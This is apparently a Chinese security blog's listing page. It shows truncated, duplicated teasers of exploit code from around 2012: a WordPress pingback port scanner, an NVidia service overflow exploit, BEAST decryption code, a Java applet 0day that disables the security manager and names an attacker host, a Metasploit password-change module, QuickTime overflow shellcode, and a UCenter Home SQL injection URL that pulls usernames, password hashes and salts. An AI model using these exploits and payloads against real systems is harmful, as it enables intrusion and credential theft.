一个因网速慢引发的头脑风暴
1.1 起因 这几天发现某酒店的网速越来越慢，中间因为11X的原因加了个认证系统，但是也就是房间号+身份证后6位。 本来以前可以多个设备同时使用的，但是因为加了这个设备所以就没办法同时用了。（蛋疼的11X） 1.2 发现问题1（锐捷设备弱口令） 由于网速实在太......
阅读全文 →SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
一个因网速慢引发的头脑风暴
1.1 起因 这几天发现某酒店的网速越来越慢，中间因为11X的原因加了个认证系统，但是也就是房间号+身份证后6位。 本来以前可以多个设备同时使用的，但是因为加了这个设备所以就没办法同时用了。（蛋疼的11X） 1.2 发现问题1（锐捷设备弱口令） 由于网速实在太......
阅读全文 →WordpressPingbackPortScanner Exp
#!/usr/bin/env ruby #gem "typhoeus", "= 0.5.3" #gem "typhoeus", "= 0.4.2" require "rubygems" require "getoptlong" require "typhoeus" require "uri" class Array alias_method :sample, :choice unless method_defined?(:sample) end opts = GetoptLong.new( ["--help", "-h", "-?", GetoptLong::NO_ARGUMENT], ["--target", "-t", GetoptLong::OPTIONAL_ARGUMENT], ["--all-ports", "-a", GetoptLong::NO_ARGUMENT], ["--verbose", "-v", GetoptLong::NO_ARGUMENT] ) # Display the usage def usage puts "Wordpress Pingback Port Scanner Usage: wppp.rb [OPTION] ... TARGETS --help, -h: show help --target, -t X: the target to scan......
阅读全文 →WordpressPingbackPortScanner Exp
#!/usr/bin/env ruby #gem "typhoeus", "= 0.5.3" #gem "typhoeus", "= 0.4.2" require "rubygems" require "getoptlong" require "typhoeus" require "uri" class Array alias_method :sample, :choice unless method_defined?(:sample) end opts = GetoptLong.new( ["--help", "-h", "-?", GetoptLong::NO_ARGUMENT], ["--target", "-t", GetoptLong::OPTIONAL_ARGUMENT], ["--all-ports", "-a", GetoptLong::NO_ARGUMENT], ["--verbose", "-v", GetoptLong::NO_ARGUMENT] ) # Display the usage def usage puts "Wordpress Pingback Port Scanner Usage: wppp.rb [OPTION] ... TARGETS --help, -h: show help --target, -t X: the target to scan......
阅读全文 →转：NVidia Display Driver Service (Nsvr) Exploit - C
/* NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012 - Bypass DEP + ASLR + /GS + CoE ============================================================= (@peterwintrsmith) ** Initial release 25/12/12 ** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks @seanderegge! Hey all! Here is an interesting exploit for a stack buffer overflow in the NVidia Display Driver Service. The service listens on a named pipe (\pipe\nsvr) which has a NULL DACL configured, which should mean that any logged on user or remote user in a domain context (Windows firewall/file sharing permitting) should be able to exploit this vulnerability. The buffer overflow occurs as a result of a bad memmove operation, with the stack layout effectively......
阅读全文 →转：NVidia Display Driver Service (Nsvr) Exploit - C
/* NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012 - Bypass DEP + ASLR + /GS + CoE ============================================================= (@peterwintrsmith) ** Initial release 25/12/12 ** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks @seanderegge! Hey all! Here is an interesting exploit for a stack buffer overflow in the NVidia Display Driver Service. The service listens on a named pipe (\pipe\nsvr) which has a NULL DACL configured, which should mean that any logged on user or remote user in a domain context (Windows firewall/file sharing permitting) should be able to exploit this vulnerability. The buffer overflow occurs as a result of a bad memmove operation, with the stack layout effectively......
阅读全文 →Web Vuln Exploit Payload 2.0 发布
#web vuln exploit payload 2.0 版本 简称wve,是一个以php开发针对web渗透测试的一个框架平台,本版本对于1.0,1.5 之前代码是完全重写，而且更注重与扩展性，便携性，使用sqlite数据库临时储存数据。 框架内置7条命令，用于实现一些基本操作，也支持自定义命令，或者说是插件(扩展)。......
阅读全文 →Web Vuln Exploit Payload 2.0 发布
#web vuln exploit payload 2.0 版本 简称wve,是一个以php开发针对web渗透测试的一个框架平台,本版本对于1.0,1.5 之前代码是完全重写，而且更注重与扩展性，便携性，使用sqlite数据库临时储存数据。 框架内置7条命令，用于实现一些基本操作，也支持自定义命令，或者说是插件(扩展)。......
阅读全文 →BEAST 概念代码和白皮书
白皮书下载地址：http://kuai.xunlei.com/d/BDNAUXCHLSOO 解压密码:www.mythhack.com package peast; import java.util.Arrays; //"POST /"(6) + prefix + " HTTP/1.1\r\n"(11) public class Decryptor { private String plaintext = ""; private String prefixRight = ""; private static final String prefixLeft = "POST /"; private byte[] ciphertext; private int blockSize; private byte[] target; private byte[] targetIV; private byte attemptLastByte = 0x20; private byte[] nextAttempt; public Decryptor() { } public void setCiphertext(byte[] ciphertext) { // TODO get blocksize from packets blockSize = 16; assert (ciphertext.length % blockSize == 0); this.ciphertext......
阅读全文 →BEAST 概念代码和白皮书
白皮书下载地址：http://kuai.xunlei.com/d/BDNAUXCHLSOO 解压密码:www.mythhack.com package peast; import java.util.Arrays; //"POST /"(6) + prefix + " HTTP/1.1\r\n"(11) public class Decryptor { private String plaintext = ""; private String prefixRight = ""; private static final String prefixLeft = "POST /"; private byte[] ciphertext; private int blockSize; private byte[] target; private byte[] targetIV; private byte attemptLastByte = 0x20; private byte[] nextAttempt; public Decryptor() { } public void setCiphertext(byte[] ciphertext) { // TODO get blocksize from packets blockSize = 16; assert (ciphertext.length % blockSize == 0); this.ciphertext......
阅读全文 →web应用远程代码执行通过脚本引擎中部分-1：本地漏洞利用PHP 0day
在一个常见的Web应用程序测试中，我们操纵输入，一个共同的最终用户控制和检查从应用程序的响应。但是，因为这些数据通过PHP，ASP引擎，用于构建这些应用程序处理。我们在模糊化，并试图找出问题，这些引擎可以被攻击的普通用户。我的演讲有两个部分，本地攻......
阅读全文 →web应用远程代码执行通过脚本引擎中部分-1：本地漏洞利用PHP 0day
在一个常见的Web应用程序测试中，我们操纵输入，一个共同的最终用户控制和检查从应用程序的响应。但是，因为这些数据通过PHP，ASP引擎，用于构建这些应用程序处理。我们在模糊化，并试图找出问题，这些引擎可以被攻击的普通用户。我的演讲有两个部分，本地攻......
阅读全文 →传说中最新的Java 0day? 目测少个package
传说中的Java 0day? 目测少个package // CVE-2012-XXXX Java 0day // reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html // secret host / ip : ok.aa24.net / 59.120.154.62 // regurgitated by jduck // probably a metasploit module soon... package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { public Gondvv() { } public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions......
阅读全文 →传说中最新的Java 0day? 目测少个package
传说中的Java 0day? 目测少个package // CVE-2012-XXXX Java 0day // reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html // secret host / ip : ok.aa24.net / 59.120.154.62 // regurgitated by jduck // probably a metasploit module soon... package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { public Gondvv() { } public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions......
阅读全文 →赛门铁克Web网关
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Web Gateway < = 5.0.3.18 Arbitrary Password Change", 'Description' => %q{ This module will change the password for the specified account on a Symantec Web Gatewaye server. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 0 $", 'Author' => [ 'Kc57', ], 'References' => [ [ 'CVE', '2012-2977' ], [ 'OSVDB', '0' ], [ 'BID', '54430' ], [ 'URL', 'http://www.securityfocus.com/bid/54430' ], ], '......
阅读全文 →赛门铁克Web网关
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Web Gateway < = 5.0.3.18 Arbitrary Password Change", 'Description' => %q{ This module will change the password for the specified account on a Symantec Web Gatewaye server. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 0 $", 'Author' => [ 'Kc57', ], 'References' => [ [ 'CVE', '2012-2977' ], [ 'OSVDB', '0' ], [ 'BID', '54430' ], [ 'URL', 'http://www.securityfocus.com/bid/54430' ], ], '......
阅读全文 →苹果QuickTime插件Windows远程缓冲区溢出漏洞
#include #include #include #define MOV_FILE "c:\\program files\\quicktime\\sample.mov" #define HEIGHT 60 #define WIDTH 60 #define TARGET "QUICKTIMEPLAYER" #define FILE_IMAGE \ " "width=%d height=%d autoplay=\"true\" "\ "target=\"%s\"> " #define BUFSIZE 730 #define RET 684 #define ESP_TGT "rpcrt4.dll" #define JMPESP_1 0xff #define JMPESP_2 0xe4 #define NOP 0x90 unsigned char exploit_code[200]={ 0x33,0xC0,0x40,0x40,0x40,0x40,0x40,0x50, 0x50,0x90,0xB8,0x2D,0x23,0xF5,0xBF,0x48, 0xFF,0xD0,0x00, }; main(int argc,char *argv[]) { FILE *fp; char buf[BUFSIZE]; unsigned int i,pretadr,p,ip,kp; MEMORY_BASIC_INFORMATION meminfo; if (argc<......
阅读全文 →苹果QuickTime插件Windows远程缓冲区溢出漏洞
#include #include #include #define MOV_FILE "c:\\program files\\quicktime\\sample.mov" #define HEIGHT 60 #define WIDTH 60 #define TARGET "QUICKTIMEPLAYER" #define FILE_IMAGE \ " "width=%d height=%d autoplay=\"true\" "\ "target=\"%s\"> " #define BUFSIZE 730 #define RET 684 #define ESP_TGT "rpcrt4.dll" #define JMPESP_1 0xff #define JMPESP_2 0xe4 #define NOP 0x90 unsigned char exploit_code[200]={ 0x33,0xC0,0x40,0x40,0x40,0x40,0x40,0x50, 0x50,0x90,0xB8,0x2D,0x23,0xF5,0xBF,0x48, 0xFF,0xD0,0x00, }; main(int argc,char *argv[]) { FILE *fp; char buf[BUFSIZE]; unsigned int i,pretadr,p,ip,kp; MEMORY_BASIC_INFORMATION meminfo; if (argc<......
阅读全文 →UCenter Home 2.0 EXP
#!/usr/bin/env python import sys import urllib2 import re def info(): print 'From:http://www.exploit-db.com/exploits/14997/' print 'changed:qiaoy' print 'exp:' print ' ./UCenter_Home_2.0.py site' def main(): if len(sys.argv) != 2: info() else: site = sys.argv[1] if site[0:7] == 'http://': site =site elif site[0:8] == 'https://': site = site else: site = 'http://'+site try: url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as......
阅读全文 →UCenter Home 2.0 EXP
#!/usr/bin/env python import sys import urllib2 import re def info(): print 'From:http://www.exploit-db.com/exploits/14997/' print 'changed:qiaoy' print 'exp:' print ' ./UCenter_Home_2.0.py site' def main(): if len(sys.argv) != 2: info() else: site = sys.argv[1] if site[0:7] == 'http://': site =site elif site[0:8] == 'https://': site = site else: site = 'http://'+site try: url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as......
阅读全文 →